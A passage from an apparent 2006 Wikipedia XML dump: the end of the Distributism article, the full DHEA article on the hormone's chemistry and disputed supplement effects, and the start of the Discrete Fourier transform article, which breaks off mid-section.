The [[Mondragón Cooperative Corporation]] based out of the [[Basque Country]] in the region of Spain and France, was founded by a Catholic priest, Father [[José María Arizmendiarrieta]], who seems to have been influenced by the same Catholic social and economic teachings that inspired Belloc, Chesterton, McNabb and the other founders of distributism.  The Mondragón cooperative, however, may be considered &quot;distributist&quot; in the sense of valuing the ideal of the worker owning the means of production as much as possible, while some of its more international and capitalistic leanings seem to veer away from a true distributism.

==Controversy==
===Ultranationalist groups===
Controversy in the Distributist community has occurred because of associations of distributism with some [[ultranationalist]] groups. This would include groups such as the [[British National Party]] which claims to hold some distributist views. The advocacy of distributism by certain ultranationalist groups is more pronounced in [[Europe]] where distributism is seen as reflecting the values of an &quot;old order&quot; and a return to the &quot;nationalistic roots&quot; of a country. Supporters of [[national anarchism]] also advocate distributist economic models.

Many ultranationalists trace their ancestry back to [[Fascist]] movements, and may see Distributism as a version of [[Corporativism]]. There are some similarities between the two systems, notable parallels between the Corporativists' [[Corporations]] and the Distributists' Guilds. But there are fundamental differences between the two philosophies, notably the Corporativists' permissiveness towards big buisiness and big government.

Distributism and Corporativism could concievably be placed on a linear spectrum of [[Third Way]] economic models, where Distributism would be more compatible with Libertarianism and Corporativism would tend to be more compatible with [[radical centrist]] ideologies of [[Collectivism]] and [[Statism]], including but not limited to Fascism.

==Key texts==
* ''[[The Servile State]]'' by Hilaire Belloc
* ''[[An Essay on The Restoration of Property]]'' by Hilaire Belloc
* ''[[Utopia of Usurers]]'' by G.K. Chesterton
* ''[[The Outline Of Sanity]]'' by G.K. Chesterton
* ''[[What's Wrong With The World]]'' by G.K. Chesterton

==Thinkers==
* [[Hilaire Belloc]]
* [[Cecil Chesterton]]
* [[G.K. Chesterton]]
* [[Dorothy Day]]
* [[Eric Gill]]
* Fr. [[Vincent McNabb]] O.P.
* [[Arthur Penty]]

==See also==
* [[agrarianism]]
* [[corporatism]]
* [[mutualism]]
* [[personalism]]
* [[social credit]]

==External links==
===Links favourable to Distributism===
* [http://www.gutenberg.net/etext99/wwwtw10.txt What's Wrong with the World (1910)] by G. K. Chesterton
* [http://www.dur.ac.uk/martin.ward/gkc/books/Sanity.txt The Outline of Sanity (1927)] by G.K. Chesterton
* http://www.distributism.com/
* http://groups.yahoo.com/group/distributism/ Distributism Yahoo Group
* http://www.distributism.org/
* http://www.geocities.com/kevinjjonesy/distributism/
* http://www.justpeace.org/distribute.htm
* http://mdemarco.web.wesleyan.edu/gkc/distrib/
* http://distributism.blogspot.com/ &quot;The Distributist Review&quot; weblog

===Links unfavourable to Distributism===
* [http://www.traditioninaction.org/bkreviews/A_019br_DistribManifesto.htm A ''Distributist Manifesto'' strongly spiced with Communism]
* [http://www.mises.org/story/1062 What's Wrong With &quot;Distributism&quot;: Mises Institute]
* [http://nudccw.org/vm/index.asp?art_id=14785 Trashing &quot;Chesterbelloc&quot;]

[[Category:Economic ideologies]]
[[Category:Political theories]]

[[de:Distributismus]]
[[pt:Distributismo]]</text>
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  </page>
  <page>
    <title>Dehydroepiandrosterone</title>
    <id>8807</id>
    <revision>
      <id>37889830</id>
      <timestamp>2006-02-02T20:31:13Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/198.150.162.9|198.150.162.9]] ([[User talk:198.150.162.9|talk]]) to last version by Amitpandey</comment>
      <text xml:space="preserve">&lt;table border=&quot;0&quot; align=&quot;right&quot; style=&quot;margin-left:1em&quot;&gt;&lt;tr&gt;&lt;td&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#cccccc&quot;&gt; '''DHEA'''
&lt;tr&gt;&lt;td&gt;'''Full name:'''&lt;/td&gt;&lt;td&gt;dehydroepiandrosterone&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Synonyms:'''&lt;/td&gt;&lt;td&gt;3ß-hydroxy-5-androsten-17-one&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Empirical formula:'''&lt;/td&gt;&lt;td&gt;[[carbon|C]]&lt;sub&gt;19&lt;/sub&gt;[[hydrogen|H]]&lt;sub&gt;28&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Molecular weight:'''&lt;/td&gt;&lt;td&gt;288.43&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''CAS No'''&lt;/td&gt;&lt;td&gt;53-43-0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Melting point ([[kelvin|K]])'''&lt;/td&gt;&lt;td&gt;419 to 424 K&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Melting point ([[celsius|°C]])'''&lt;/td&gt;&lt;td&gt;146 to 151 °C&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; align=&quot;center&quot;&gt;[[image:dehydroepiandrosterone.png|chemical structure of DHEA]]&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/table&gt;

'''Dehydroepiandrosterone''' ('''DHEA''') is a natural [[steroid]] [[hormone]] produced from [[cholesterol]] by the [[adrenal gland]]s found atop of the [[kidney]]s in the human body. 
DHEA is also produced in the gonads, adipose tissue and the brain. DHEA is structurally similar to, and is a precursor of, [[androstenedione]], [[testosterone]] and [[estrogen]]. It is the most abundant hormone in the human body.

==DHEA-DHEAS==
'''Dehydroepiandrosterone sulfate''' ('''DHEAS''') is the sulfated version of DHEA, -  this conversion is reversibly catalyzed by sulfotransferase (SULT2A1) primarily in the adrenals, the liver, and small instestines. In blood, most DHEA is found as DHEAS with levels that are about 300 times higher than free DHEA. Orally ingested DHEA is converted to its sulfate when passing through intestines and liver. While DHEA levels reach their peak in the early morning hours, DHEAS levels show no diurnal variation. DHEAS is biologically active only after its sulfate group  has been split and it becomes DHEA again.

From a practical point measurement of DHEAS is preferable to DHEA as levels are more stable.

==Production==


[[Image:DHEA1.png|frame|Production of DHEA from Cholesterol]]

DHEA is produced from cholesterol through two cytochrome P450 enzymes. Cholesterol is converted to pregnenolone by the enzyme P450 scc (side chain cleavage) and then another enzyme P450c17 (CYP17A) converts pregnenolone to 17α-Hydroxypregnenolone and then to DHEA. In humans DHEA is the dominant steroid hormone and precursor of all sex steroids. Humans produce DHEA in greater quantity than any other species. Even non-human primates have not much more than 10% the relative serum level of DHEA seen in humans. The fact that rodents produce so little DHEA makes the results of experiments conducted with these laboratory animals very controversial. 

DHEA production is very high during fetal life by the fetal adrenal glands, declines after birth and remains low during childhood. Production begins around 6 years of age, increasing in quantity until peaking in early adulthood, around the age of 25, and declines afterwards to approximately 10% of peak levels by age 80. It is theorized by some that this decline may be due to reduced [[oxygen]] and [[glucose]] supply to the adrenal glands as a result of age-related [[atherosclerosis]].

==Role of DHEA==
In a simple view DHEA can be understood as a [[prohormone]] for the [[sex steroid]]s. Its DHEAS variation may be looked at as buffer and reservoir. Its production in the brain suggests that is also has a role as a [[neuroactive steroid|neurosteroid]]. As most DHEA is produced by the [[zona reticularis]] of the adrenal, it is argued that there is a role in the immune and stress response. DHEA may have more biologic roles. 

As almost all DHEA is derived from the adrenal glands, blood measurements of DHEAS/DHEA are useful to detect excess adrenal activity as seen in adrenal cancer or hyperplasia, including certain forms of [[congenital adrenal hyperplasia]]. Women with [[polycystic ovary syndrome]] tend to have normal or mildly elevated levels of DHEAS.

==Disputed effects of DHEA==

The significance of the hormone in health and disease is not fully established.
It is postulated that DHEA supplements are beneficial in the prevention of:
* [[cardiovascular disease]]
* [[diabetes]]
* [[hypercholesterolemia]]
* [[obesity]]
* [[multiple sclerosis]]
* [[Parkinson's disease]]
* [[Alzheimer's disease]]
* disorders of the [[immune system]]
* [[Clinical depression|depression]]
* [[osteoporosis]]

It is also commercially advertised that DHEA:
* helps decrease [[insulin resistance]]
* improves fat metabolism
* increases immune system function
* has anti-aging properties
* increases lean muscle mass

DHEA and DHEAS are readily available in the United States, but not in many other countries. 

==Effects of DHEA==
* Supplementation with DHEA has been shown to decrease [[insulin resistance]]. ''(Kawano H, Yasue H, Kitagawa A, et al. Dehydroepiandrosterone supplementation improves endothelial function and insulin sensitivity in men. J Clin Endocrinol Metab. 2003 Jul;88(7):3190-5.)''
* Long term supplementation has been shown to improve mood and relieve depression. ''(Wolkowitz OM, Reus VI, Roberts E, et al. Antidepressant and cognition-enhancing effects of DHEA in major depression. Ann NY Acad Sci. 1995 Dec 29;774:337-9)''

==Precautions==

Some assert that DHEA should not be supplemented outside specialist centres under careful observation of experts in the field of [[endocrinology]].

Side effects may include:
* extensive growth of body hair, or [[hirsutism]]
* male pattern baldness

==Contraindication==
As DHEAS and DHEA are converted to sex steroids, their use is contraindicated in patients with any cancer that is estrogen or testosterone dependent.

==Increasing endogenous DHEA production==

Regular exercise is known to increase the amount of DHEA in the body. ''(Eur J Appl Physiol Occup Physiol 1998 Oct;78(5):466-71), (Eur J Appl Physiol. 2001 Jul;85(1- 2):177-84), (J Gerontol A Biol Sci Med Sci. 2002 Apr;57(4):B158-65).'' [[Caloric restriction]] has also been shown to increase DHEA in primates ''(Exp Gerontol. 2003 Jan-Feb; 38(1-2):35-46).''

==Metabolites==
DHEA is converted to approximately 150 metabolites in the human body. One of these is 3-acetyl-7-oxo-dehydroepiandrosterone. Studies have shown that this metabolite appears to be responsible for some of the beneficial results that have been attributed to DHEA. This substance does not raise testosterone or estrogen levels. As a consequence, some individuals who do not wish to elevate their levels of sex hormones ingest this metabolite in pill form. 

==See also==
[[Steroid hormone]]

==Further reading==
Nutrition through the Life Cycle, Judith E. Brown, ISBN 0-534-58986-3

==External links==
*[http://www.lef.org/magazine/mag2004/mar2004_cover_dhea_01.htm ''The DHEA Debate: A critical review of experimental data''] (Published 2004)

*[http://www.quackwatch.org/01QuackeryRelatedTopics/dhea.html ''DHEA: Ignore the Hype''] (Published 1996)

*[http://www.benbest.com/nutrceut/DHEA.html DHEA Hormone Replacement]

*[http://skepdic.com/dhea.html ''What the skeptic dictionary has to say on DHEA'']


[[Category:Androgens]]

[[fr:Déhydroépiandrostérone]]</text>
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  <page>
    <title>DHEA</title>
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    <title>Dolphins</title>
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    <title>Discrete Fourier transform</title>
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        <username>Phil Boswell</username>
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      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">{{Fourier transforms}}
In [[mathematics]], the '''discrete Fourier transform (DFT)''', sometimes called the '''finite Fourier transform''', is a [[Fourier transform]] widely employed in [[Digital signal processing|signal processing]] and related fields to analyze the frequencies contained in a sampled [[signal (information theory)|signal]], solve [[partial differential equations]], and to perform other operations such as [[convolution]]s. The DFT can be computed efficiently in practice using a [[fast Fourier transform]] (FFT) algorithm.

The sequence of ''N'' complex numbers ''x''&lt;sub&gt;0&lt;/sub&gt;, ..., ''x''&lt;sub&gt;''N''&amp;minus;1&lt;/sub&gt; are transformed into the  sequence of ''N'' complex numbers ''X''&lt;sub&gt;0&lt;/sub&gt;, ..., ''X''&lt;sub&gt;''N''&amp;minus;1&lt;/sub&gt; by the DFT according to the formula:

:&lt;math&gt;X_k = \sum_{n=0}^{N-1} x_n e^{-\frac{2 \pi i}{N} k n} \quad \quad k = 0, \dots, N-1&lt;/math&gt;   
            
where ''e'' is the [[e (mathematical constant)|base of the natural logarithm]], ''i'' is the [[imaginary unit]] (&lt;math&gt;i^2=-1&lt;/math&gt;), and &amp;pi; is [[Pi]]. The transform is sometimes denoted by the symbol &lt;math&gt;\mathcal{F}&lt;/math&gt;, as in &lt;math&gt;\mathbf{X} = \mathcal{F}(\mathbf{x})&lt;/math&gt; or &lt;math&gt;\mathcal{F} \mathbf{x}&lt;/math&gt;.

The inverse discrete Fourier transform (IDFT) is given by 

:&lt;math&gt;x_n = \frac{1}{N} \sum_{k=0}^{N-1} X_k e^{\frac{2\pi i}{N} k n} \quad \quad n = 0,\dots,N-1.&lt;/math&gt;

Note that the normalization factor multiplying the DFT and IDFT (here 1 and 1/''N'') and the signs of the exponents are merely conventions, and differ in some treatments. The only requirements of these conventions are that the DFT and IDFT have opposite-sign exponents and that the product of their normalization factors be 1/''N''.  A normalization of &lt;math&gt;1/\sqrt{N}&lt;/math&gt; for both the DFT and IDFT makes the transforms [[unitary matrix|unitary]], which has some theoretical advantages, but it is often more practical in numerical computation to perform the scaling all at once as above (and a unit scaling can be convenient in other ways).

(The convention of a negative sign in the exponent is often convenient because it means that &lt;math&gt;X_k&lt;/math&gt; is the amplitude of a &quot;positive frequency&quot; &lt;math&gt;2\pi k/N&lt;/math&gt;. Equivalently, the DFT is often thought of as a matched filter: when looking for a frequency of +1, one correlates the incoming signal with a frequency of &amp;minus;1.)

In the following discussion the terms &quot;sequence&quot; and &quot;vector&quot; will be considered interchangeable.

==Properties==
===Completeness===
The discrete Fourier transform is an invertible, [[linear transformation]]

:&lt;math&gt;\mathcal{F}:\mathbf{C}^N \to \mathbf{C}^N&lt;/math&gt;

with '''C''' denoting the set of [[complex number|complex numbers]]. In other words, for any ''N''&amp;nbsp;&gt;&amp;nbsp;0, an ''N''-dimensional complex vector has a DFT and an IDFT which are in turn ''N''-dimensional complex vectors.

=== Orthogonality ===
The vectors exp(2&amp;pi;''i kn/N'') form an [[orthogonal]] basis over the set of
''N''-dimensional complex vectors:

:&lt;math&gt;\sum_{n=0}^{N-1}
\left(e^{ \frac{2\pi i}{N} kn}\right)
\left(e^{-\frac{2\pi i}{N} k'n}\right)
=N~\delta_{kk'}
&lt;/math&gt;

where &amp;delta;&lt;sub&gt;''kn''&lt;/sub&gt; is the [[Kronecker delta]].

=== The Plancherel theorem and Parseval's theorem ===
If ''X''&lt;sub&gt;''k''&lt;/sub&gt; and ''Y''&lt;sub&gt;''k''&lt;/sub&gt; are the DFTs of ''x''&lt;sub&gt;''n''&lt;/sub&gt; and ''y''&lt;sub&gt;''n''&lt;/sub&gt; respectively then we have the [[Plancherel theorem]]:

:&lt;math&gt;\sum_{n=0}^{N-1} x_n y^*_n = \frac{1}{N} \sum_{k=0}^{N-1} X_k Y^*_k&lt;/math&gt;

where the star denotes complex conjugation.  [[Parseval's theorem]] is a special case of the Plancherel theorem and states:

:&lt;math&gt;\sum_{n=0}^{N-1} |x_n|^2 = \frac{1}{N} \sum_{k=0}^{N-1} |X_k|^2.&lt;/math&gt;

===The shift theorem===
Multiplying &lt;math&gt;x_n&lt;/math&gt; by a ''linear phase'' &lt;math&gt;\exp(2\pi i n m/N)&lt;/math&gt; for some integer &lt;math&gt;m&lt;/math&gt; corresponds to a ''circular shift'' of the output &lt;math&gt;X_k&lt;/math&gt;: &lt;math&gt;X_k&lt;/math&gt; is replaced by &lt;math&gt;X_{k-m}&lt;/math&gt;, where the subscript is interpreted [[modulo]] &lt;math&gt;N&lt;/math&gt; (i.e. periodically).  Similarly, a circular shift of the input &lt;math&gt;x_n&lt;/math&gt; corresponds to multiplying the output &lt;math&gt;X_k&lt;/math&gt; by a linear phase. Mathematically, if &lt;math&gt;\{x_n\}&lt;/math&gt; represents the vector '''x''' then

:if &lt;math&gt;\mathcal{F}(\{x_n\})_k=X_k&lt;/math&gt;

:then &lt;math&gt;\mathcal{F}(\{ x_n e^{\frac{2\pi i}{N}n m} \})_k=X_{k-m}&lt;/math&gt;

:and &lt;math&gt;\mathcal{F}(\{x_{n-m}\})_k=X_k e^{-\frac{2\pi i}{N}k m}&lt;/math&gt;

=== Periodicity ===
It is shown in the [[Discrete-time Fourier transform]] (DTFT) article that the Fourier transform of a discrete time sequence is periodic.  A finite length sequence is just a special case.  I.e., it is an infinite sequence of zeros containing a region (aka ''window'') in which non-zero values may occur.  So &lt;math&gt;X(\omega)\,&lt;/math&gt;, the DTFT of the finite sequence &lt;math&gt;x[n]\,&lt;/math&gt;, is periodic.  Not surprisingly, the DFT is periodic; e.g. &lt;math&gt;X[k+N] = X[k]\,&lt;/math&gt;.  Less obvious, perhaps, is that the inverse DFT is also periodic; e.g., &lt;math&gt;x[n+N] = x[n]\,&lt;/math&gt;.  It is a ''periodically extended'' version of the finite sequence.

The DTFT of the periodically extended sequence is zero-valued except at the discrete set of frequencies sampled by the DFT.  I.e., it is effectively identical to the DFT.  The DTFT of the finite sequence has other non-zero values, but it is still identical to the DFT at the frequencies sampled by the DFT.  So the approximation error of &lt;math&gt;X[k]\,&lt;/math&gt;, as an approximation to &lt;math&gt;X(\omega)\,&lt;/math&gt;, lies in the missing non-zero values, not in the &lt;math&gt;X[k]\,&lt;/math&gt; coefficients.  In terms of the inverse DFT, that approximation error becomes the periodic extension of the finite sequence.

* Commonly, &lt;math&gt;x[n]\,&lt;/math&gt; is a modification of a longer, perhaps infinite, sequence, whose DTFT is only approximated by &lt;math&gt;X(\omega)\,&lt;/math&gt;.  In that case, of course, &lt;math&gt;X[k]\,&lt;/math&gt; too is only an approximation to [samples of] the original DTFT.

* The shift theorem, above, is also an expression of the implicit periodicity of the inverse DFT, because it shows that the DFT amplitudes &lt;math&gt;|X[k]|\,&lt;/math&gt; are unaffected by a circular (periodic) shift of the inputs, which is simply a choice of [[origin]] and therefore only affects the phase.  Periodic boundary conditions play an important role in many applications of the DFT.  When solving [[differential equation]]s they allow periodic boundary conditions to be automatically satisfied, and thus can be a useful property.  See also the ''applications'' section below.

=== Aliasing ===
Clearly a discrete-time sequence cannot preserve as much detail as a continuous-time function.  The frequency domain manifestation of that fact is the periodicity of &lt;math&gt;X(\omega)\,&lt;/math&gt; and &lt;math&gt;X[k]\,&lt;/math&gt;, vs. the unlimited uniqueness of a [[continuous Fourier transform | continuous time Fourier transform]].  The fact that a particular frequency component appears periodically at &lt;math&gt;k\,&lt;/math&gt;, &lt;math&gt;k\pm N&lt;/math&gt;, &lt;math&gt;k\pm 2N&lt;/math&gt;, etc. only tells us the possible frequencies of the original source.  Usually only one of them is the original, and the rest are appropriately called [[aliasing | aliases]].  Collateral information is generally needed to interpret the ambiguity (analogous to interpreting the two roots of a quadratic equation).  An example of collateral information is that the &lt;math&gt;x[n]\,&lt;/math&gt; sequence represents the digitized output of a lowpass [[anti-aliasing filter]].

A time-domain representation of the frequency components listed above is''':'''

:&lt;math&gt;x[n] = e^{j \frac{2\pi}{N}(k + L\cdot N)n}\,&lt;/math&gt;, &lt;math&gt;L=0\,&lt;/math&gt;, &lt;math&gt;\pm 1\,&lt;/math&gt;, &lt;math&gt;\pm 2\,&lt;/math&gt;, etc.

All values of &lt;math&gt;L\,&lt;/math&gt; produce the same &lt;math&gt;x[n]\,&lt;/math&gt; sequence.  It is impossible to determine just from the sequence what the original &lt;math&gt;L\,&lt;/math&gt;-value was.  So the DFT reveals them all, just as the quadratic formula reveals the ambiguous roots of an equation.

===[[Circular convolution]] theorem and cross-correlation theorem===
The cyclic convolution '''x'''*'''y''' of the two vectors '''x''' = ''x&lt;sub&gt;k&lt;/sub&gt;''&amp;nbsp; and '''y''' = ''y&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; is the vector '''x'''*'''y''' with components

:&lt;math&gt;(\mathbf{x*y})_n = \sum_{m=0}^{N-1} x_m y_{n-m} \quad \quad n = 0,\dots,N-1&lt;/math&gt;

where we continue '''y''' cyclically so that

:&lt;math&gt;y_{-m} = y_{N-m}\quad\quad~~~~~~~~~~ m = 0, ..., N-1&lt;/math&gt;

The discrete Fourier transform turns cyclic convolutions into component-wise multiplication. That is, if &lt;math&gt;z_n = (\mathbf{x*y})_n&lt;/math&gt; then

:&lt;math&gt;Z_k=X_k Y_k \quad \quad~~~~~~~~~~ k = 0,\dots,N-1&lt;/math&gt;

where capital letters (''X'', ''Y'', ''Z'') represent the DFTs of sequences represented by small letters (''x'', ''y'', ''z'').  Note that if a different normalization convention is adopted for the DFT (e.g., the unitary normalization), then there will in general be a constant factor multiplying the above relation.

The direct evaluation of the convolution summation, above, would require &lt;math&gt;O(N^2)&lt;/math&gt; operations, but the DFT (via an FFT) provides an &lt;math&gt;O(N\log N)&lt;/math&gt; method to compute the same thing.  Conversely, convolutions can be used to efficiently compute DFTs via [[Rader's FFT algorithm]] and [[Bluestein's FFT algorithm]].

''See also:'' [[Convolution theorem]]

In an analogous manner, it can be shown that if &lt;math&gt;z_n&lt;/math&gt; is the [[cross-correlation]] of &lt;math&gt;x_n&lt;/math&gt; and &lt;math&gt;y_n&lt;/math&gt;:

:&lt;math&gt;z_n=(\mathbf{x\star y})_n = \sum_{m=0}^{N-1}x_m^*\,y_{m+n}&lt;/math&gt;

where the sum is again cyclic in ''m'', then the discrete Fourier transform of &lt;math&gt;z_n&lt;/math&gt; is:

:&lt;math&gt;Z_k = X_k^*\,Y_k&lt;/math&gt;

where capital letters are again used to signify the discrete Fourier transform.

===Relationship to trigonometric interpolation polynomials===
The function

:&lt;math&gt;p(t) = \frac{f_0}{N} + \frac{f_1}{N} e^{it} + \frac{f_2}{N} e^{2it} + \cdots + \frac{f_{N-1}}{N} e^{(N-1)it}&lt;/math&gt;

whose coefficients ''f''&lt;sub&gt;''k''&lt;/sub&gt; /''N'' are given by the DFT of ''x''&lt;sub&gt;''n''&lt;/sub&gt;, above, is called the [[trigonometric interpolation polynomial]] of degree ''N''&amp;nbsp;&amp;minus;&amp;nbsp;1. It is the unique function of this form that satisfies the property: ''p''(2&amp;pi;''n''/''N'') = ''x''&lt;sub&gt;''n''&lt;/sub&gt; for ''n'' = 0, ..., ''N''&amp;nbsp;&amp;minus;&amp;nbsp;1.

Because of aliasing, however, the ''form'' of the trigonometric interpolation polynomial is not unique, in that any of the frequencies can be shifted by any multiple of ''N'' while maintaining the property ''p''(2&amp;pi;''n''/''N'') = ''x''&lt;sub&gt;''n''&lt;/sub&gt; .  In particular, the following form is often preferred:

:&lt;math&gt;p(t) = \frac{f_0}{N} + \frac{f_1}{N} e^{it} + \cdots + \frac{f_{N/2}}{N} \cos(Nt/2) + \frac{f_{N/2+1}}{N} e^{(-N/2+1)it} + \cdots + \frac{f_{N-1}}{N} e^{-it}&lt;/math&gt;

for [[Even and odd numbers|even]] &lt;math&gt;N&lt;/math&gt; (where the [[Nyquist frequency|Nyquist amplitude]] &lt;math&gt;f_{N/2}&lt;/math&gt; should be handled specially) or, for odd &lt;math&gt;N&lt;/math&gt;:

:&lt;math&gt;p(t) = \frac{f_0}{N} + \frac{f_1}{N} e^{it} + \cdots + \frac{f_{\lfloor N/2 \rfloor}}{N} e^{\lfloor N/2 \rfloor it} + \frac{f_{\lfloor N/2 \rfloor+1}}{N} e^{(-\lceil N/2 \rceil+1)it} + \cdots + \frac{f_{N-1}}{N} e^{-it}&lt;/math&gt;

These latter two forms have the useful property that, if the  &lt;math&gt;x_n&lt;/math&gt; are all real numbers, then &lt;math&gt;p(t)&lt;/math&gt; will be real for all &lt;math&gt;t&lt;/math&gt; as well.  They also use the smallest possible frequencies of the interpolating sinusoids (a balance of positive and negative frequencies instead of all positive frequencies), and consequently minimize the mean-square [[slope]] &lt;math&gt;\int |p'(t)|^2 dt&lt;/math&gt; of the interpolated function.

=== The unitary DFT ===
Another way of looking at the DFT is to note that in the above discussion, the DFT can be expressed as a [[Vandermonde matrix]]:

:&lt;math&gt;\mathbf{F} =
\begin{bmatrix}
 \omega_N^{0 \cdot 0}     &amp; \omega_N^{0 \cdot 1}     &amp; \ldots &amp; \omega_N^{0 \cdot (N-1)}     \\
 \omega_N^{1 \cdot 0}     &amp; \omega_N^{1 \cdot 1}     &amp; \ldots &amp; \omega_N^{1 \cdot (N-1)}     \\
 \vdots                   &amp; \vdots                   &amp; \ddots &amp; \vdots                       \\
 \omega_N^{(N-1) \cdot 0} &amp; \omega_N^{(N-1) \cdot 1} &amp; \ldots &amp; \omega_N^{(N-1) \cdot (N-1)} \\
\end{bmatrix}
&lt;/math&gt;

where

:&lt;math&gt;\omega_N = e^{-2 \pi i/N}\,&lt;/math&gt;

is a primitive [[roots of unity|Nth root of unity]]. The inverse transform is then given by the inverse of the above matrix:

:&lt;math&gt;\mathbf{F}^{-1}=\frac{1}{N}\mathbf{F}^*&lt;/math&gt;

With [[unitary operator|unitary]] normalization constants &lt;math&gt;1/\sqrt{N}&lt;/math&gt;, the DFT becomes a [[unitary transformation]], defined by a unitary matrix:

:&lt;math&gt;\mathbf{U}=\mathbf{F}/\sqrt{N}&lt;/math&gt;
:&lt;math&gt;\mathbf{U}^{-1}=\mathbf{U}^*&lt;/math&gt;
:&lt;math&gt;\det(\mathbf{U})=1&lt;/math&gt;

where ''det()''&amp;nbsp; is the [[determinant]] function. In a real vector space, a unitary transformation can be thought of as simply a rigid rotation of the coordinate system, and all of the properties of a rigid rotation can be found in the unitary DFT. 

The orthogonality of the DFT is now expressed as an [[orthonormal]]ity condition (which arises in many areas of mathematics as described in [[root of unity]]):

:&lt;math&gt;\sum_{m=0}^{N-1}U_{km}U_{mn}^*=\delta_{kn}&lt;/math&gt;

If &lt;math&gt;\mathbf{X}&lt;/math&gt; is defined as the unitary DFT of the vector &lt;math&gt;\mathbf{x}&lt;/math&gt; then

:&lt;math&gt;X_k=\sum_{n=0}^{N-1} U_{kn}x_n&lt;/math&gt;

and the [[Plancherel theorem]] is expressed as:

:&lt;math&gt;\sum_{n=0}^{N-1}x_n y_n^* = \sum_{k=0}^{N-1}X_k Y_k^*&lt;/math&gt;

If we view the DFT as just a coordinate transformation which simply specifies the components of a vector in a new coordinate system, then the above is just the statement that the dot product of two vectors is preserved under a unitary DFT transformation. For the special case &lt;math&gt;\mathbf{x} = \mathbf{y}&lt;/math&gt;, this implies that the length of a vector is preserved as well&amp;mdash;this is just [[Parseval's theorem]]:

:&lt;math&gt;\sum_{n=0}^{N-1}|x_n|^2 = \sum_{k=0}^{N-1}|X_k|^2&lt;/math&gt;

=== Expressing the inverse DFT in terms of the DFT ===
A useful property of the DFT is that the inverse DFT can be easily expressed in terms of the (forward) DFT, via several well-known &quot;tricks&quot;.  (For example, in computations, it is often convenient to only implement a fast Fourier transform corresponding to one transform direction and then to get the other transform direction from the first.)

First, we can compute the inverse DFT by reversing the inputs:

:&lt;math&gt;\mathcal{F}^{-1}(\{x_n\}) = \mathcal{F}(\{x_{N - n}\}) / N&lt;/math&gt;

(As usual, the subscripts are interpreted [[modulo]] &lt;math&gt;n&lt;/math&gt;; thus, for &lt;math&gt;n=0&lt;/math&gt;, we have &lt;math&gt;x_{N-0}=x_0&lt;/math&gt;.)

Second, one can also conjugate the inputs and outputs:

:&lt;math&gt;\mathcal{F}^{-1}(\mathbf{x}) = \mathcal{F}(\mathbf{x}^*)^* / N&lt;/math&gt;

Third, a variant of this conjugation trick, which is sometimes preferable because it requires no modification of the data values, involves swapping real and imaginary parts (which can be done on a computer simply by modifying [[pointer]]s). Define swap(&lt;math&gt;x_n&lt;/math&gt;) as &lt;math&gt;x_n&lt;/math&gt; with its real and imaginary parts swapped&amp;mdash;that is, if &lt;math&gt;x_n = a + b i&lt;/math&gt; then swap(&lt;math&gt;x_n&lt;/math&gt;) is &lt;math&gt;b + a i&lt;/math&gt;.  Equivalently, swap(&lt;math&gt;x_n&lt;/math&gt;) equals &lt;math&gt;i x_n^*&lt;/math&gt;.  Then

:&lt;math&gt;\mathcal{F}^{-1}(\mathbf{x}) = \textrm{swap}(\mathcal{F}(\textrm{swap}(\mathbf{x}))) / N&lt;/math&gt;

That is, the inverse transform is the same as the forward transform with the real and imaginary parts swapped for both input and output, up to a normalization (Duhamel ''et al.'', 1988).

The conjugation trick can also be used to define a new transform, closely related to the DFT, that is [[involutary]]&amp;mdash;that is, which is its own inverse.  In particular, &lt;math&gt;T(\mathbf{x}) = \mathcal{F}(\mathbf{x}^*) / \sqrt{N}&lt;/math&gt; is clearly its own inverse: &lt;math&gt;T(T(\mathbf{x})) = \mathbf{x}&lt;/math&gt;.  A closely related involutary transformation (by a factor of (1+''i'')/&amp;radic;2) is &lt;math&gt;H(\mathbf{x}) = \mathcal{F}((1+i) \mathbf{x}^*) / \sqrt{2N}&lt;/math&gt;, since the &lt;math&gt;(1+i)&lt;/math&gt; factors in &lt;math&gt;H(H(\mathbf{x}))&lt;/math&gt; cancel the 2.  For real inputs &lt;math&gt;\mathbf{x}&lt;/math&gt;, the real part of &lt;math&gt;H(\mathbf{x})&lt;/math&gt; is none other than the [[discrete Hartley transform]], which is also involutary.

=== The real DFT ===
If &lt;math&gt;x_0, \ldots, x_{N-1}&lt;/math&gt; are [[real number|real numbers]], as they often are in practical applications, then the DFT obeys the symmetry:

:&lt;math&gt;X_k = X_{N-k}^* ,&lt;/math&gt;

where the star denotes complex conjugation and the subscripts are interpreted modulo ''N''.

Therefore, the DFT output for real inputs is half redundant, and one obtains the complete information by only looking at roughly half of the outputs &lt;math&gt;X_0, \ldots, X_{N-1}&lt;/math&gt;. In this case, the &quot;DC&quot; element &lt;math&gt;X_0&lt;/math&gt; is purely real, and for even ''N'' the &quot;Nyquist&quot; element &lt;math&gt;X_{N/2}&lt;/math&gt; is also real, so there are exactly ''N'' non-redundant real numbers in the first half + Nyquist element of the complex output ''X''. 

Using [[Euler's formula in complex analysis|Euler's formula]], the interpolating trigonometric polynomial can then be interpreted as a sum of sine and cosine functions.

==Generalized DFT==
It is possible to shift the transform sampling in time and/or frequency domain by some real shifts ''a'' and ''b'', respectively. This is sometimes known as a '''generalized DFT''' (or '''GDFT''') and has analogous properties to the ordinary DFT:

